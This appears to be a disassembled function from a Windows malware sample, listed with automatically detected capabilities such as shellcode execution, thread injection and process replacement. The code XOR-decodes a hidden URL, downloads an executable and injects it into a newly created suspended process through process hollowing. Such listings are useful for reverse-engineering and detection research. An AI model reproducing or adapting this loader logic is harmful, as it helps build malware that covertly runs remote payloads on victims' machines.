Function at 0x1400021cc
Capabilities:
Allocate or change rwx memory
Create http request
Create process on windows
Create process suspended
Create thread
Encode data using xor
Execute shellcode via indirect call
Inject thread
Read data from internet
Receive data
Resume thread
Spawn thread to rwx shellcode
Suspend thread
Use process replacement

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x10b8]
mov eax, 0x1190
call fcn.140003b00
sub rsp, rax
mov rax, qword [0x1400010c0]
xor rax, rsp
mov qword [rbp + 0x1080], rax
mov ecx, 0x20
call qword [sym.imp.KERNEL32.dll_WerSetFlags]
xor r13d, r13d
mov ebx, eax
test eax, eax
jns 0x14000224d
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140002a3c
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
mov rcx, rax
lea rdx, [0x140002b9c]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea eax, [r13 + 1]
jmp 0x140002642
call fcn.140002100
test al, al
je 0x140002287
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
xor r9d, r9d
lea r8, [0x1400015f0]
lea rdx, [0x140001610]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
jmp 0x140002642
xor r9d, r9d
mov dword [rsp + 0x20], r13d
xor r8d, r8d
lea rcx, [0x140001670]
lea ebx, [r9 + 1]
mov edx, ebx
call qword [sym.imp.WININET.dll_InternetOpenA]
mov byte [rsp + 0x50], 0xd8
lea r14d, [rbx + 0xe]
mov byte [rsp + 0x51], 0xc7
mov rdi, rax
mov byte [rsp + 0x52], 0xcd
mov r9, r13
mov byte [rsp + 0x53], 0xce
mov byte [rsp + 0x54], 0x87
mov byte [rsp + 0x55], 0x96
mov byte [rsp + 0x56], 0x93
mov byte [rsp + 0x57], 0xc6
mov byte [rsp + 0x58], 0xd2
mov byte [rsp + 0x59], 0xb6
mov byte [rsp + 0x5a], 0xac
mov byte [rsp + 0x5b], 0xb2
mov byte [rsp + 0x5c], 0xa4
mov byte [rsp + 0x5d], 0xe7
mov byte [rsp + 0x5e], 0xa5
mov byte [rsp + 0x5f], 0xaa
mov byte [rsp + 0x60], 0xad
mov byte [rsp + 0x61], 0xec
mov byte [rsp + 0x62], 0xaa
mov byte [rsp + 0x63], 0xaf
mov byte [rsp + 0x64], 0xae
mov byte [rsp + 0x65], 0xa8
mov byte [rsp + 0x66], 0xe2
mov byte [rsp + 0x67], 0xb5
mov byte [rsp + 0x68], 0xaf
mov byte [rsp + 0x69], 0xa4
mov byte [rsp + 0x6a], 0xdd
mov al, byte [rsp + 0x50]
mov r8b, byte [rsp + r9 + 0x50]
lea eax, [r9 - 0x49]
mov rcx, r9
movabs rdx, 0x3dde0c48b15640b7
and rcx, r14
cmp rcx, r14
cmovae rcx, r14
shl cl, 2
shr rdx, cl
and dl, r14b
xor dl, al
xor dl, r8b
mov byte [rsp + r9 + 0x50], dl
add r9, rbx
cmp r9, 0x1b
jb 0x14000233a
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x18]
call fcn.140002820
cmp qword [rbp], r14
lea rdx, [rbp - 0x18]
mov qword [rsp + 0x28], r13
mov rcx, rdi
cmova rdx, qword [rbp - 0x18]
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 0x80000000
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
movdqa xmm1, xmmword [0x1400016a0]
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
mov byte [rbp - 0x38], r13b
mov rdi, rax
movdqu xmmword [rbp - 0x28], xmm1
mov rcx, rax
jmp 0x1400023ea
mov eax, dword [rbp - 0x40]
test eax, eax
je 0x140002405
mov r8d, eax
lea rdx, [rbp + 0x80]
lea rcx, [rbp - 0x38]
call fcn.140002674
mov rcx, rdi
lea r9, [rbp - 0x40]
mov r8d, 0x1000
lea rdx, [rbp + 0x80]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1400023cd
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
cmp qword [rbp - 0x20], r14
lea r15, [rbp - 0x38]
lea rcx, [rbp + 0x18]
cmova r15, qword [rbp - 0x38]
xor edx, edx
movsxd rsi, dword [r15 + 0x3c]
lea r8d, [rdx + 0x60]
add rsi, r15
mov dword [rbp + 0x10], 0x68
call sub.VCRUNTIME140.dll_memset
lea rcx, [0x140001588]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, [0x140001598]
mov r12, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r9d, r9d
lea rcx, [0x140001680]
mov rdi, rax
xor r8d, r8d
lea rax, [rsp + 0x78]
xor edx, edx
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r13d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1400025bc
mov rcx, qword [rsp + 0x78]
lea rax, [rbp + 8]
mov r9d, 0x30
mov qword [rsp + 0x20], rax
lea r8, [rbp - 0x70]
xor edx, edx
call rdi
mov r8d, dword [rsi + 0x50]
xor edx, edx
mov rcx, qword [rsp + 0x78]
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rcx, qword [rsp + 0x78]
mov r8, r15
mov qword [rsp + 0x70], rax
mov rdx, rax
mov r9d, dword [rsi + 0x54]
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movsxd rdi, dword [r15 + 0x3c]
mov r14d, r13d
add rdi, 0x11c
cmp r13w, word [rsi + 6]
jae 0x140002546
add rdi, r15
mov r8d, dword [rdi]
mov edx, dword [rdi - 8]
add r8, r15
add rdx, qword [rsp + 0x70]
mov r9d, dword [rdi - 4]
mov rcx, qword [rsp + 0x78]
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [rsi + 6]
lea rdi, [rdi + 0x28]
add r14d, ebx
cmp r14d, eax
jl 0x140002514
mov rdx, qword [rbp - 0x68]
lea r8, [rsp + 0x70]
mov rcx, qword [rsp + 0x78]
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r9d, dword [rsi + 0x28]
xor r8d, r8d
add r9, qword [rsp + 0x70]
xor edx, edx
mov rcx, qword [rsp + 0x78]
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rcx, qword [rbp - 0x80]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_SuspendThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ebx, r13d
mov r14d, 0xf
mov rdx, qword [rbp - 0x20]
cmp rdx, r14
jbe 0x1400025f2
mov rcx, qword [rbp - 0x38]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400025ed
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002634
call fcn.140002dc8
mov rdx, qword [rbp]
movdqa xmm0, xmmword [0x1400016a0]
mov byte [rbp - 0x38], r13b
movdqu xmmword [rbp - 0x28], xmm0
cmp rdx, r14
jbe 0x140002640
mov rcx, qword [rbp - 0x18]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000263b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000263b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002dc8
mov eax, ebx
mov rcx, qword [rbp + 0x1080]
xor rcx, rsp
call fcn.140002bf0
lea r11, [rsp + 0x1190]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret